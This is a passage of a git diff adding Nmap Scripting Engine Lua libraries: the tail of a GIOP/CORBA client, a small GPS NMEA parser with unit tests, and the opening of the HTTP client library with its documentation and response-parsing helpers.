+ if( not(status) ) then return status, packet end
+
+ return true, packet.ctx
+ end,
+
+ ListObjects = function( self, keyaddr )
+ -- SyncScope WITH_TARGET
+ local packet = Packet.GIOP._is_a:new( 5, Constants.SyncScope.WITH_TARGET, keyaddr )
+ local status, err, lhost
+
+ status, err = self:Reconnect()
+ if( not(status) ) then return false, err end
+
+ packet:addServiceContext( 17, "\0\2", 0x000d)
+ packet:addServiceContext( Constants.ServiceContext.CODESETS, "\0\0\0\0\0\1\0\1\0\1\1\9" )
+ packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, "\0\x14", 0x5d69)
+ packet:addServiceContext( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, tostring(SendingContextRuntime:new( self.lhost )), 0 )
+
+ status, packet = self.comm:exchGIOPPacket( packet )
+ if( not(status) ) then return status, packet end
+
+ packet = Packet.GIOP.list:new( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, Constants.SyncScope.WITH_TARGET, keyaddr, 1000 )
+ packet:addServiceContext( 17, "\0\2", 0x000d)
+ packet:addServiceContext( Constants.ServiceContext.CODESETS, "\0\0\0\0\0\1\0\1\0\1\1\9" )
+ packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, "\0\x14", 0x9c9b)
+
+ status, packet = self.comm:exchGIOPPacket( packet )
+ if( not(status) ) then return status, packet end
+
+ return true, packet
+ end,
+
+ --- Connects and performs protocol negotiation with the Oracle server
+ --
+ -- @return true on success, false on failure
+ -- @return err containing error message when status is false
+ Connect = function( self )
+ self.socket:set_timeout(10000)
+ local status, data = self.socket:connect( self.host.ip, self.port.number, "tcp" )
+ if( not(status) ) then return status, data end
+ self.comm = Comm:new( self.socket )
+
+ status, self.lhost = self.socket:get_info()
+ if ( not(status) ) then
+ self.socket:close()
+ return false, "Error failed to get socket information"
+ end
+
+ return true
+ end,
+
+ Close = function( self )
+ return self.socket:close()
+ end,
+
+ Reconnect = function( self )
+ local status = self:Close()
+ if( not(status) ) then return false, "Failed to close socket" end
+
+ status = self:Connect()
+ if( not(status) ) then return false, "Failed to re-connect socket" end
+
+ return true
+ end,
+}
+
+return _ENV;
diff --git a/nselib/gps.lua b/nselib/gps.lua
new file mode 100644
index 0000000..a4528ce
--- /dev/null
+++ b/nselib/gps.lua
@@ -0,0 +1,126 @@
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local unittest = require "unittest"
+_ENV = stdnse.module("gps", stdnse.seeall)
+
+---
+-- A smallish gps parsing module.
+-- Currently does GPRMC NMEA decoding
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+--
+
+NMEA = {
+
+ -- Parser for the RMC sentence
+ RMC = {
+
+ parse = function(str)
+
+ local time, status, latitude, ns_indicator, longitude,
+ ew_indicator, speed, course, date, variation,
+ ew_variation, checksum = str:match("^%$GPRMC,([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^%*]*)(.*)$")
+
+ if ( not(latitude) or not(longitude) ) then
+ return
+ end
+
+ local deg, min = latitude:match("^(..)(.*)$")
+ if ( not(deg) or not(min) ) then
+ return
+ end
+ latitude = tonumber(deg) + (tonumber(min)/60)
+
+ deg, min = longitude:match("^(..)(.*)$")
+ if ( not(deg) or not(min) ) then
+ return
+ end
+ longitude = tonumber(deg) + (tonumber(min)/60)
+ if ( ew_indicator == 'W' ) then
+ longitude = -longitude
+ end
+
+ if ( ns_indicator == 'S' ) then
+ latitude = -latitude
+ end
+
+ return { time = time, status = status, latitude = latitude,
+ longitude = longitude, speed = speed, course = course,
+ date = date, variation = variation,
+ ew_variation = ew_variation }
+ end,
+
+ },
+
+ -- Calculates an verifies the message checksum
+ --
+ -- @param str containing the GPS sentence
+ -- @return status true on success, false if the checksum does not match
+ -- @return err string if status is false
+ checksum = function(str)
+ local val = 0
+ for c in str:sub(2,-4):gmatch(".") do
+ val = val ~ string.byte(c)
+ end
+
+ if ( str:sub(-2):upper() ~= stdnse.tohex(string.char(val)):upper() ) then
+ return false, ("Failed to verify checksum (got: %s; expected: %s)"):format(stdnse.tohex(string.char(val)), str:sub(-2))
+ end
+ return true
+ end,
+
+ -- Parses a GPS sentence using the appropriate parser
+ --
+ -- @param str containing the GPS sentence
+ -- @return entry table containing the parsed response or
+ -- err string if status is false
+ -- @return status true on success, false on failure
+ parse = function(str)
+
+ local status, err = NMEA.checksum(str)
+ if ( not(status) ) then
+ return false, err
+ end
+
+ local prefix = str:match("^%$GP([^,]*)")
+ if ( not(prefix) ) then
+ return false, "Not a NMEA sentence"
+ end
+
+ if ( NMEA[prefix] and NMEA[prefix].parse ) then
+ local e = NMEA[prefix].parse(str)
+ if (not(e)) then
+ return false, ("Failed to parse entry: %s"):format(str)
+ end
+ return true, e
+ else
+ local err = ("No parser for prefix: %s"):format(prefix)
+ stdnse.debug2("%s", err)
+ return false, err
+ end
+
+ end
+
+}
+
+Util = {
+
+ convertTime = function(date, time)
+ local d = {}
+ d.hour, d.min, d.sec = time:match("(..)(..)(..)")
+ d.day, d.month, d.year = date:match("(..)(..)(..)")
+ d.year = d.year + 2000
+ return os.time(d)
+ end
+}
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+test_suite:add_test(unittest.is_true(NMEA.checksum("$GPGLL,5300.97914,N,00259.98174,E,125926,A*28")), "valid checksum")
+test_suite:add_test(unittest.is_false(NMEA.checksum("$XPGLL,5300.97914,N,00259.98174,E,125926,A*28")), "invalid checksum")
+return _ENV;
diff --git a/nselib/http.lua b/nselib/http.lua
new file mode 100644
index 0000000..a6a3ef3
--- /dev/null
+++ b/nselib/http.lua
@@ -0,0 +1,3226 @@
+---Implements the HTTP client protocol in a standard form that Nmap scripts can
+-- take advantage of.
+--
+-- Because HTTP has so many uses, there are a number of interfaces to this
+-- library.
+--
+-- The most obvious and common ones are simply <code>get</code>,
+-- <code>post</code>, and <code>head</code>; or, if more control is required,
+-- <code>generic_request</code> can be used. These functions take host and port
+-- as their main parameters and they do what one would expect. The
+-- <code>get_url</code> helper function can be used to parse and retrieve a full
+-- URL.
+--
+-- HTTPS support is transparent. The library uses <code>comm.tryssl</code> to
+-- determine whether SSL is required for a request.
+--
+-- These functions return a table of values, including:
+-- * <code>status-line</code> - A string representing the status, such as "HTTP/1.1 200 OK", followed by a newline. In case of an error, a description will be provided in this line.
+-- * <code>status</code> - The HTTP status value; for example, "200". If an error occurs during a request, then this value is going to be nil.
+-- * <code>version</code> - HTTP protocol version string, as stated in the status line. Example: "1.1"
+-- * <code>header</code> - An associative array representing the header. Keys are all lowercase, and standard headers, such as 'date', 'content-length', etc. will typically be present.
+-- * <code>rawheader</code> - A numbered array of the headers, exactly as the server sent them. While header['content-type'] might be 'text/html', rawheader[3] might be 'Content-type: text/html'.
+-- * <code>cookies</code> - A numbered array of the cookies the server sent. Each cookie is a table with the expected keys, such as <code>name</code>, <code>value</code>, <code>path</code>, <code>domain</code>, and <code>expires</code>. This table can be sent to the server in subsequent responses in the <code>options</code> table to any function (see below).
+-- * <code>rawbody</code> - The full body, as returned by the server. Chunked transfer encoding is handled transparently.
+-- * <code>body</code> - The full body, after processing the Content-Encoding header, if any. The Content-Encoding and Content-Length headers are adjusted to stay consistent with the processed body.
+-- * <code>incomplete</code> - Partially received response object, in case of an error.
+-- * <code>truncated</code> - A flag to indicate that the body has been truncated
+-- * <code>decoded</code> - A list of processed named content encodings (like "identity" or "gzip")
+-- * <code>undecoded</code> - A list of named content encodings that could not be processed (due to lack of support or the body being corrupted for a given encoding). A body has been successfully decoded if this list is empty (or nil, if no encodings were used in the first place).
+-- * <code>location</code> - A numbered array of the locations of redirects that were followed.
+--
+-- Many of the functions optionally allow an "options" input table, which can
+-- modify the HTTP request or its processing in many ways like adding headers or
+-- setting the timeout. The following are valid keys in "options"
+-- (note: not all options will necessarily affect every function):
+-- * <code>timeout</code>: A timeout used for socket operations.
+-- * <code>header</code>: A table containing additional headers to be used for the request. For example, <code>options['header']['Content-Type'] = 'text/xml'</code>
+-- * <code>content</code>: The content of the message. This can be either a string, which will be directly added as the body of the message, or a table, which will have each key=value pair added (like a normal POST request). (A corresponding Content-Length header will be added automatically. Set header['Content-Length'] to override it).
+-- * <code>cookies</code>: A list of cookies as either a string, which will be directly sent, or a table. If it's a table, the following fields are recognized: <code>name</code>, <code>value</code> and <code>path</code>. Only <code>name</code> and <code>value</code> fields are required.
+-- * <code>auth</code>: A table containing the keys <code>username</code> and <code>password</code>, which will be used for HTTP Basic authentication.
+-- If a server requires HTTP Digest authentication, then there must also be a key <code>digest</code>, with value <code>true</code>.
+-- If a server requires NTLM authentication, then there must also be a key <code>ntlm</code>, with value <code>true</code>.
+-- * <code>bypass_cache</code>: Do not perform a lookup in the local HTTP cache.
+-- * <code>no_cache</code>: Do not save the result of this request to the local HTTP cache.
+-- * <code>no_cache_body</code>: Do not save the body of the response to the local HTTP cache.
+-- * <code>max_body_size</code>: Limit the received body to specific number of bytes. Overrides script argument <code>http.max-body-size</code>. See the script argument for details.
+-- * <code>truncated_ok</code>: Do not treat oversized body as error. Overrides script argument <code>http.truncated-ok</code>.
+-- * <code>any_af</code>: Allow connecting to any address family, inet or inet6. By default, these functions will only use the same AF as nmap.address_family to resolve names. (This option is a straight pass-thru to <code>comm.lua</code> functions.)
+-- * <code>redirect_ok</code>: Closure that overrides the default redirect_ok used to validate whether to follow HTTP redirects or not. False, if no HTTP redirects should be followed. Alternatively, a number may be passed to change the number of redirects to follow.
+-- The following example shows how to write a custom closure that follows 5 consecutive redirects, without the safety checks in the default redirect_ok:
+-- <code>
+-- redirect_ok = function(host,port)
+-- local c = 5
+-- return function(url)
+-- if ( c==0 ) then return false end
+-- c = c - 1
+-- return true
+-- end
+-- end
+-- </code>
+--
+-- If a script is planning on making a lot of requests, the pipelining functions
+-- can be helpful. <code>pipeline_add</code> queues requests in a table, and
+-- <code>pipeline_go</code> performs the requests, returning the results as an
+-- array, with the responses in the same order as the requests were added.
+-- As a simple example:
+--<code>
+-- -- Start by defining the 'all' variable as nil
+-- local all = nil
+--
+-- -- Add two GET requests and one HEAD to the queue but these requests are
+-- -- not performed yet. The second parameter represents the "options" table
+-- -- (which we don't need in this example).
+-- all = http.pipeline_add('/book', nil, all)
+-- all = http.pipeline_add('/test', nil, all)
+-- all = http.pipeline_add('/monkeys', nil, all, 'HEAD')
+--
+-- -- Perform all three requests as parallel as Nmap is able to
+-- local results = http.pipeline_go('nmap.org', 80, all)
+--</code>
+--
+-- At this point, <code>results</code> is an array with three elements.
+-- Each element is a table containing the HTTP result, as discussed above.
+--
+-- One more interface provided by the HTTP library helps scripts determine
+-- whether or not a page exists. The <code>identify_404</code> function will
+-- try several URLs on the server to determine what the server's 404 pages look
+-- like. It will attempt to identify customized 404 pages that may not return
+-- the actual status code 404. If successful, the function
+-- <code>page_exists</code> can then be used to determine whether or not a page
+-- exists.
+--
+-- Some other miscellaneous functions that can come in handy are
+-- <code>response_contains</code>, <code>can_use_head</code>, and
+-- <code>save_path</code>. See the appropriate documentation for details.
+--
+-- @args http.max-cache-size The maximum memory size (in bytes) of the cache.
+--
+-- @args http.useragent The value of the User-Agent header field sent with
+-- requests. By default it is
+-- <code>"Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"</code>.
+-- A value of the empty string disables sending the User-Agent header field.
+--
+-- @args http.pipeline If set, it represents the number of HTTP requests that'll be
+-- sent on one connection. This can be set low to make debugging easier, or it
+-- can be set high to test how a server reacts (its chosen max is ignored).
+-- @args http.max-pipeline If set, it represents the number of outstanding
+-- HTTP requests that should be sent together in a single burst. Defaults to
+-- <code>http.pipeline</code> (if set), or to what function
+-- <code>get_pipeline_limit</code> returns.
+--
+-- @args http.host The value to use in the Host header of all requests unless
+-- otherwise set. By default, the Host header uses the output of
+-- <code>stdnse.get_hostname()</code>.
+--
+-- @args http.max-body-size Limit the received body to specific number of bytes.
+-- An oversized body results in an error unless script argument
+-- <code>http.truncated-ok</code> or request option
+-- <code>truncated_ok</code> is set to true. The default is 2097152 (2MB). Use
+-- value -1 to disable the limit altogether. This argument can be overridden
+-- case-by-case with request option <code>max_body_size</code>.
+--
+-- @args http.truncated-ok Do not treat oversized body as error. (Use response
+-- object flag <code>truncated</code> to check if the returned body has been
+-- truncated.) This argument can be overridden case-by-case with request option
+-- <code>truncated_ok</code>.
+
+-- TODO
+-- Implement cache system for http pipelines
+--
+
+
+local base64 = require "base64"
+local comm = require "comm"
+local coroutine = require "coroutine"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local sasl = require "sasl"
+local shortport = require "shortport"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+local url = require "url"
+local ascii_hostname = url.ascii_hostname
+local smbauth = require "smbauth"
+local unicode = require "unicode"
+
+_ENV = stdnse.module("http", stdnse.seeall)
+
+--Use ssl if we have it
+local have_ssl, openssl = pcall(require,'openssl')
+
+--Use zlib if we have it
+local have_zlib, zlib = pcall(require,'zlib')
+
+USER_AGENT = stdnse.get_script_args('http.useragent') or "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
+local host_header = stdnse.get_script_args('http.host')
+local MAX_REDIRECT_COUNT = 5
+local MAX_BODY_SIZE = tonumber(stdnse.get_script_args('http.max-body-size')) or 2*1024*1024
+local TRUNCATED_OK = string.lower(stdnse.get_script_args('http.truncated-ok') or "false") ~= "false"
+local ERR_OVERSIZED_BODY = "response body too large"
+
+--- Recursively copy into a table any elements from another table whose key it
+-- doesn't have.
+local function table_augment(to, from)
+ for k, v in pairs(from) do
+ if type( to[k] ) == 'table' then
+ table_augment(to[k], from[k])
+ else
+ to[k] = from[k]
+ end
+ end
+end
+
+--- Provide the default port for a given scheme.
+-- The localization is necessary because functions in http.lua like to use
+-- "url" as a local parameter
+local get_default_port = url.get_default_port
+
+--- Get a value suitable for the Host header field.
+-- See RFC 2616 sections 14.23 and 5.2.
+local function get_host_field(host, port, scheme)
+ -- If the global header is set by script-arg, use that.
+ if host_header then return host_header end
+ -- If there's no host, we can't invent a name.
+ if not host then return nil end
+ local hostname = ascii_hostname(host)
+ -- If there's no port, just return hostname.
+ if not port then return hostname end
+ if type(port) == "string" then
+ port = tonumber(port)
+ assert(port, "Invalid port: not a number or table")
+ end
+ if type(port) == "number" then
+ port = {number=port, protocol="tcp"}
+ end
+ local number = port.number
+ if scheme then
+ -- Caller provided scheme. If it's default, return just the hostname.
+ if number == get_default_port(scheme) then
+ return hostname
+ end
+ else
+ scheme = url.get_default_scheme(port)
+ if scheme then
+ -- Caller did not provide scheme, and this port has a default scheme.
+ local ssl_port = shortport.ssl(host, port)
+ if (ssl_port and scheme == 'https') or
+ (not ssl_port and scheme == 'http') then
+ -- If it's SSL and https, or if it's plaintext and http, return just the hostname.
+ return hostname
+ end
+ end
+ end
+ -- No special cases matched, so include the port number in the host header
+ return hostname .. ":" .. number
+end
+
+-- Skip *( SP | HT ) starting at offset. See RFC 2616, section 2.2.
+-- @return the first index following the spaces.
+-- @return the spaces skipped over.
+local function skip_space(s, offset)
+ local _, i, space = s:find("^([ \t]*)", offset)
+ return i + 1, space
+end
+
+-- Get a token starting at offset. See RFC 2616, section 2.2.
+-- @return the first index following the token, or nil if no token was found.
+-- @return the token.
+local function get_token(s, offset)
+ -- All characters except CTL and separators.
+ local _, i, token = s:find("^([^()<>@,;:\\\"/%[%]?={} \0\001-\031\127]+)", offset)
+ if i then
+ return i + 1, token
+ else
+ return nil
+ end
+end
+
+-- Get a quoted-string starting at offset. See RFC 2616, section 2.2. crlf is
+-- used as the definition for CRLF in the case of LWS within the string.
+-- @return the first index following the quoted-string, or nil if no
+-- quoted-string was found.
+-- @return the contents of the quoted-string, without quotes or backslash
+-- escapes.
+local function get_quoted_string(s, offset, crlf)
+ local result = {}
+ local i = offset
+ assert(s:sub(i, i) == "\"")
+ i = i + 1
+ while i <= s:len() do
+ local c = s:sub(i, i)
+ if c == "\"" then
+ -- Found the closing quote, done.
+ return i + 1, table.concat(result)
+ elseif c == "\\" then
+ -- This is a quoted-pair ("\" CHAR).
+ i = i + 1
+ c = s:sub(i, i)
+ if c == "" then
+ -- No character following.
+ error("\\ escape at end of input while parsing quoted-string.")
+ end
+ -- Only CHAR may follow a backslash.
+ if c:byte(1) > 127 then
+ error(string.format("Unexpected character with value > 127 (0x%02X) in quoted-string.", c:byte(1)))
+ end
+ else
+ -- This is qdtext, which is TEXT except for '"'.
+ -- TEXT is "any OCTET except CTLs, but including LWS," however "a CRLF is
+ -- allowed in the definition of TEXT only as part of a header field
+ -- continuation." So there are really two definitions of quoted-string,
+ -- depending on whether it's in a header field or not. This function does
+ -- not allow CRLF.
+ c = s:sub(i, i)
+ if c ~= "\t" and c:match("^[\0\001-\031\127]$") then
+ error(string.format("Unexpected control character in quoted-string: 0x%02X.", c:byte(1)))
+ end
+ end
+ result[#result + 1] = c
+ i = i + 1
+ end
+ return nil
+end
+
+-- Returns the index just past the end of LWS.
+local function skip_lws(s, pos)
+ local _, e
+
+ while true do
+ while string.match(s, "^[ \t]", pos) do
+ pos = pos + 1
+ end
+ _, e = string.find(s, "^\r?\n[ \t]", pos)
+ if not e then
+ return pos
+ end
+ pos = e + 1
+ end
+end
+
+
+local digestauth_required = {"username","realm","nonce","digest-uri","response"}
+---Validate an 'options' table, which is passed to a number of the HTTP functions. It is
+-- often difficult to track down a mistake in the options table, and requires fiddling
+-- with the http.lua source, but this should make that a lot easier.
+local function validate_options(options)
+ local bad = false
+
+ if(options == nil) then
+ return true
+ end
+
+ for key, value in pairs(options) do
+ if(key == 'timeout') then
+ if(type(tonumber(value)) ~= 'number') then
+ stdnse.debug1('http: options.timeout contains a non-numeric value')
+ bad = true
+ end
+ elseif(key == 'header') then
+ if(type(value) ~= 'table') then
+ stdnse.debug1("http: options.header should be a table")
+ bad = true
+ end
+ elseif(key == 'content') then
+ if(type(value) ~= 'string' and type(value) ~= 'table') then
+ stdnse.debug1("http: options.content should be a string or a table")
+ bad = true
+ end
+ elseif(key == 'cookies') then
+ if(type(value) == 'table') then
+ for _, cookie in ipairs(value) do
+ for cookie_key, cookie_value in pairs(cookie) do
+ if(cookie_key == 'name') then
+ if(type(cookie_value) ~= 'string') then
+ stdnse.debug1("http: options.cookies[i].name should be a string")
+ bad = true
+ end
+ elseif(cookie_key == 'value') then
+ if(type(cookie_value) ~= 'string') then
+ stdnse.debug1("http: options.cookies[i].value should be a string")
+ bad = true
+ end
+ elseif(cookie_key == 'path') then
+ if(type(cookie_value) ~= 'string') then
+ stdnse.debug1("http: options.cookies[i].path should be a string")
+ bad = true
+ end
+ elseif(cookie_key == 'expires') then
+ if(type(cookie_value) ~= 'string') then
+ stdnse.debug1("http: options.cookies[i].expires should be a string")
+ bad = true
+ end
+ elseif(cookie_key == 'max-age') then
+ if(type(cookie_value) ~= 'string') then
+ stdnse.debug1("http: options.cookies[i].max-age should be a string")
+ bad = true
+ end
+ elseif not (cookie_key == 'httponly' or cookie_key == 'secure') then
+ stdnse.debug1("http: Unknown field in cookie table: %s", cookie_key)
+ -- Ignore unrecognized attributes (per RFC 6265, Section 5.2)
+ end
+ end
+ end
+ elseif(type(value) ~= 'string') then
+ stdnse.debug1("http: options.cookies should be a table or a string")
+ bad = true
+ end
+ elseif(key == 'auth') then
+ if(type(value) == 'table') then
+ if(value['username'] == nil or value['password'] == nil) then
+ stdnse.debug1("http: options.auth should contain both a 'username' and a 'password' key")
+ bad = true
+ end
+ else
+ stdnse.debug1("http: options.auth should be a table")
+ bad = true
+ end
+ elseif (key == 'digestauth') then
+ if(type(value) == 'table') then
+ for _,k in ipairs(digestauth_required) do
+ if not value[k] then
+ stdnse.debug1("http: options.digestauth missing key: %s",k)
+ bad = true
+ break
+ end
+ end
+ else
+ bad = true
+ stdnse.debug1("http: options.digestauth should be a table")
+ end
+ elseif (key == 'ntlmauth') then
+ stdnse.debug1("Proceeding with ntlm message")
+ elseif(key == 'bypass_cache' or key == 'no_cache' or key == 'no_cache_body'
+ or key == 'any_af' or key == "truncated_ok") then
+ if(type(value) ~= 'boolean') then
+ stdnse.debug1("http: options.%s must be a boolean value", key)
+ bad = true
+ end
+ elseif(key == 'redirect_ok') then
+ if(type(value)~= 'function' and type(value)~='boolean' and type(value) ~= 'number') then
+ stdnse.debug1("http: options.redirect_ok must be a function or boolean or number")
+ bad = true
+ end
+ elseif(key == 'scheme') then
+ if type(value) ~= 'string' then
+ stdnse.debug1("http: options.scheme must be a string")
+ bad = true
+ end
+ elseif(key == 'max_body_size') then
+ if type(value) ~= 'number' then
+ stdnse.debug1("http: options.max_body_size must be a number")
+ bad = true
+ end
+ else
+ stdnse.debug1("http: Unknown key in the options table: %s", key)
+ end
+ end
+
+ return not(bad)
+end
+
+
+-- The following recv functions, and the function <code>next_response</code>
+-- follow a common pattern. They each take a <code>partial</code> argument
+-- whose value is data that has been read from the socket but not yet used in
+-- parsing, and they return as their second return value a new value for
+-- <code>partial</code>. The idea is that, for example, in reading from the
+-- socket to get the Status-Line, you will probably read too much and read part
+-- of the header. That part (the "partial") has to be retained when you go to
+-- parse the header. The common use pattern is this:
+-- <code>
+-- local partial
+-- status_line, partial = recv_line(socket, partial)
+-- ...
+-- header, partial = recv_header(socket, partial)
+-- ...
+-- </code>
+-- On error, the functions return <code>nil</code>, the second return value
+-- is an error message, and the third value is an unfinished fragment of
+-- the response body (if any):
+-- <code>
+-- body, partial, fragment = recv_body(socket, partial)
+-- if not body then
+-- stdnse.debug1("Error encountered: %s", partial)
+-- stdnse.debug1("Only %d bytes of the body received", (#fragment or 0))
+-- end
+-- ...
+-- </code>
+
+-- Receive a single line (up to <code>\n</code>).
+local function recv_line(s, partial)
+ local _, e
+ local status, data
+ local pos
+
+ partial = partial or ""
+
+ pos = 1
+ while true do
+ _, e = string.find(partial, "\n", pos, true)
+ if e then
+ break
+ end
+ status, data = s:receive()
+ if not status then
+ return status, data
+ end
+ pos = #partial
+ partial = partial .. data
+ end
+
+ return string.sub(partial, 1, e), string.sub(partial, e + 1)
+end
+
+local function line_is_empty(line)
+ return line == "\r\n" or line == "\n"
+end
+
+-- Receive up to and including the first blank line, but return everything up
+-- to and not including the final blank line.
+local function recv_header(s, partial)
+ local lines = {}
+
+ partial = partial or ""
+
+ while true do
+ local line
+ line, partial = recv_line(s, partial)
+ if not line then
+ return line, partial
+ end
+ if line_is_empty(line) then
+ break
+ end
+ lines[#lines + 1] = line
+ end
+
+ return table.concat(lines), partial
+end
+
+-- Receive until the connection is closed.
+local function recv_all(s, partial, maxlen)
+ local parts = {}
+ local part = partial or ""
+ repeat
+ if maxlen then
+ maxlen = maxlen - #part
+ if maxlen < 0 then
+ table.insert(parts, part:sub(1, maxlen - 1))
+ return nil, ERR_OVERSIZED_BODY, table.concat(parts)
+ end
+ end
+ table.insert(parts, part)
+ local status
+ status, part = s:receive()
+ until not status
+ return table.concat(parts), ""
+end
+
+-- Receive exactly <code>length</code> bytes. Returns <code>nil</code> if that
+-- many aren't available.
+local function recv_length(s, recvlen, partial, maxlen)
+ local parts = {}
+ local part = partial or ""
+ partial = ""
+ repeat
+ if #part > recvlen then
+ partial = part:sub(recvlen + 1)
+ part = part:sub(1, recvlen)
+ end
+ if maxlen then
+ maxlen = maxlen - #part
+ if maxlen < 0 then
+ table.insert(parts, part:sub(1, maxlen - 1))
+ return nil, ERR_OVERSIZED_BODY, table.concat(parts)
+ end
+ end
+ table.insert(parts, part)
+ recvlen = recvlen - #part
+ if recvlen == 0 then
+ return table.concat(parts), partial
+ end
+ local status
+ status, part = s:receive()
+ until not status
+ return nil, part, table.concat(parts)
+end
+
+-- Receive until the end of a chunked message body, and return the dechunked
+-- body.
+local function recv_chunked(s, partial, maxlen)
+ local chunks = {}
+ repeat
+ local line
+ line, partial = recv_line(s, partial)
+ if not line then
+ return nil, "Chunk size not received; " .. partial, table.concat(chunks)
+ end
+
+ -- Get the chunk size.
+ local pos = skip_space(line)
+ local chunklen = line:match("^%x+", pos)
+ if not chunklen then
+ return nil,
+ ("Chunked encoding didn't find hex; got %q."):format(line:sub(pos, pos + 10)),
+ table.concat(chunks)
+ end
+ chunklen = tonumber(chunklen, 16)
+
+ -- Ignore chunk-extensions that may follow here.
+ -- RFC 2616, section 2.1 ("Implied *LWS") seems to allow *LWS between the
+ -- parts of a chunk-extension, but that is ambiguous. Consider this case:
+ -- "1234;a\r\n =1\r\n...". It could be an extension with a chunk-ext-name
+ -- of "a" (and no value), and a chunk-data beginning with " =", or it could
+ -- be a chunk-ext-name of "a" with a value of "1", and a chunk-data
+ -- starting with "...". We don't allow *LWS here, only ( SP | HT ), so the
+ -- first interpretation will prevail.
+
+ local chunk, fragment
+ chunk, partial, fragment = recv_length(s, chunklen, partial, maxlen)
+ if not chunk then
+ if partial ~= ERR_OVERSIZED_BODY then
+ partial = "Incomplete chunk; " .. partial
+ end
+ table.insert(chunks, fragment)
+ return nil, partial, table.concat(chunks)
+ end
+ table.insert(chunks, chunk)
+ if maxlen then
+ maxlen = maxlen - chunklen
+ end
+
+ line, partial = recv_line(s, partial)
+ if not line then
+ -- this warning message was initially an error but was adapted
+ -- to support broken servers, such as the Citrix XML Service
+ stdnse.debug2("Didn't find CRLF after chunk-data.")
+ elseif not string.match(line, "^\r?\n") then
+ return nil,
+ ("Didn't find CRLF after chunk-data; got %q."):format(line),
+ table.concat(chunks)
+ end
+ until chunklen == 0
+
+ return table.concat(chunks), partial
+end
+
+-- Receive a message body, assuming that the header has already been read by
+-- <code>recv_header</code>. The handling is sensitive to the request method
+-- and the status code of the response.
+local function recv_body(s, response, method, partial, maxlen)
+ local connection_close, connection_keepalive
+
+ partial = partial or ""
+
+ -- First check for Connection: close and Connection: keep-alive. This is
+ -- necessary to handle some servers that don't follow the protocol.
+ connection_close = false
+ connection_keepalive = false
+ if response.header.connection then
+ local offset, token
+ offset = 0
+ while true do
+ offset, token = get_token(response.header.connection, offset + 1)
+ if not offset then
+ break
+ end
+ if string.lower(token) == "close" then
+ connection_close = true
+ elseif string.lower(token) == "keep-alive" then
+ connection_keepalive = true
+ end
+ end
+ end
+
+ -- See RFC 2616, section 4.4 "Message Length".
+
+ -- 1. Any response message which "MUST NOT" include a message-body (such as
+ -- the 1xx, 204, and 304 responses and any response to a HEAD request) is
+ -- always terminated by the first empty line after the header fields...
+ --
+ -- Despite the above, some servers return a body with response to a HEAD
+ -- request. So if an HTTP/1.0 server returns a response without Connection:
+ -- keep-alive, or any server returns a response with Connection: close, read
+ -- whatever's left on the socket (should be zero bytes).
+ if string.upper(method) == "HEAD"
+ or (response.status >= 100 and response.status <= 199)
+ or response.status == 204 or response.status == 304 then
+ if connection_close or (response.version == "1.0" and not connection_keepalive) then
+ return recv_all(s, partial, maxlen)
+ else
+ return "", partial
+ end
+ end
+
+ -- 2. If a Transfer-Encoding header field (section 14.41) is present and has
+ -- any value other than "identity", then the transfer-length is defined by
+ -- use of the "chunked" transfer-coding (section 3.6), unless the message
+ -- is terminated by closing the connection.
+ if response.header["transfer-encoding"]
+ and response.header["transfer-encoding"] ~= "identity" then
+ return recv_chunked(s, partial, maxlen)
+ end
+ -- The Citrix XML Service sends a wrong "Transfer-Coding" instead of
+ -- "Transfer-Encoding".
+ if response.header["transfer-coding"]
+ and response.header["transfer-coding"] ~= "identity" then
+ return recv_chunked(s, partial, maxlen)
+ end
+
+ -- 3. If a Content-Length header field (section 14.13) is present, its decimal
+ -- value in OCTETs represents both the entity-length and the
+ -- transfer-length. The Content-Length header field MUST NOT be sent if
+ -- these two lengths are different (i.e., if a Transfer-Encoding header
+ -- field is present). If a message is received with both a
+ -- Transfer-Encoding header field and a Content-Length header field, the
+ -- latter MUST be ignored.
+ if response.header["content-length"] and not response.header["transfer-encoding"] then
+ local content_length = tonumber(response.header["content-length"])
+ if not content_length then
+ return nil, string.format("Content-Length %q is non-numeric", response.header["content-length"])
+ end
+ return recv_length(s, content_length, partial, maxlen)
+ end
+
+ -- 4. If the message uses the media type "multipart/byteranges", and the
+ -- transfer-length is not otherwise specified, then this self-delimiting
+ -- media type defines the transfer-length. [sic]
+
+ -- Case 4 is unhandled.
+
+ -- 5. By the server closing the connection.
+ return recv_all(s, partial, maxlen)
+end
+
+-- Sets response["status-line"], response.status, and response.version.
+local function parse_status_line(status_line, response)
+ response["status-line"] = status_line
+ local version, status, reason_phrase = string.match(status_line,
+ "^HTTP/(%d+%.%d+) +(%d+)%f[ \r\n] *(.-)\r?\n$")
+ if not version then
+ return nil, string.format("Error parsing status-line %q.", status_line)
+ end
+ -- We don't have a use for the reason_phrase; ignore it.
+ response.version = version
+ response.status = tonumber(status)
+ if not response.status then
+ return nil, string.format("Status code is not numeric: %s", status)
+ end
+
+ return true
+end
+
+local parse_set_cookie -- defined farther down
+
+-- Sets response.header and response.rawheader.
+local function parse_header(header, response)
+ local pos
+ local name, words
+ local s, e
+
+ response.header = {}
+ response.rawheader = stringaux.strsplit("\r?\n", header)
+ pos = 1
+ while pos <= #header do
+ -- Get the field name.
+ e, name = get_token(header, pos)
+ -- Do not bail out if the header is malformed. Consume the header line
+ -- anyway, getting to the next header, but do not create a new entry in
+ -- the "header" table.
+ if e then
+ if header:sub(e, e) ~= ":" then
+ name = nil
+ end
+ pos = e + 1
+ end
+
+ -- Skip initial space.
+ pos = skip_lws(header, pos)
+ -- Get non-space words separated by LWS, then join them with a single space.
+ words = {}
+ while pos <= #header and not string.match(header, "^\r?\n", pos) do
+ s = pos
